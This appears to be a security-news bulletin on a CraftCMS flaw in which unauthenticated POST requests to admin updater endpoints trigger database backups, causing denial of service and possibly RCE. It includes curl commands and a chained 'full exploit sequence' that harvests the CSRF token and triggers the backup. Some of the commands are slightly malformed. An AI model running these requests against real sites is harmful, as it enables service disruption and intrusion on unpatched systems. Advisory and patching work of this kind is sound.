Listen to this Post
The vulnerability in CraftCMS arises from admin controllers explicitly permitting anonymous access to critical methods. In AppController.php, the $allowAnonymous property includes ‘migrate’, and in BaseUpdaterController.php, it allows anonymous access globally. Unauthenticated attackers can send POST requests to /admin/actions/app/migrate or /admin/actions/updater/backup. When the system configuration has backupOnUpdate enabled, these requests trigger Craft::$app->getDb()->backup(). This executes the configured backupCommand, often a shell command for database dumps. Attackers first harvest CSRF tokens by querying /admin/login. Using these tokens, they initiate the updater via /admin/actions/updater/index. The response contains a signed data string. This string is then used in a request to /admin/actions/updater/backup, successfully starting a database backup. This process can be repeated, consuming significant CPU and disk I/O, leading to denial of service. If the backupCommand uses unsafe shell constructs, it may also allow remote code execution. The core flaw is missing authentication checks on high-privilege database operations.
Platform: CraftCMS
Version: Pre-5.8.21/4.16.17
Vulnerability: Unauthenticated backup trigger
Severity: Critical
date: 2025-12-04
Prediction: Patched 2025-12-04
What Undercode Say:
Analytics
Check backup configuration
find . -name “.php” -exec grep -l “backupOnUpdate” {} \;
Extract CSRF token with curl
curl -s http://target/admin/login | grep -oP ‘CRAFT_CSRF_TOKEN=\K[^;]+’
Trigger backup action
curl -X POST http://target/admin/actions/app/migrate -d “applyProjectConfigChanges=false” -H “Cookie: CRAFT_CSRF_TOKEN=token”
Full exploit sequence
TOKEN=$(curl -s http://target/admin/login | grep -o ‘name=”CRAFT_CSRF_TOKEN” value=”[^”]”‘ | cut -d'”‘ -f4); curl -X POST http://target/admin/actions/updater/backup -H “Cookie: CRAFT_CSRF_TOKEN=$TOKEN” -d “CRAFT_CSRF_TOKEN=$TOKEN&data=extracted_key”
how Exploit:
- Harvest CSRF token.
- Initialize updater index.
- Extract signed data key.
- Trigger backup endpoint.
- Execute backup command.
Protection from this CVE
- Update to patched versions.
- Restrict anonymous access.
- Harden backup command.
Impact:
- Resource exhaustion.
- Information disclosure.
- Possible RCE.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
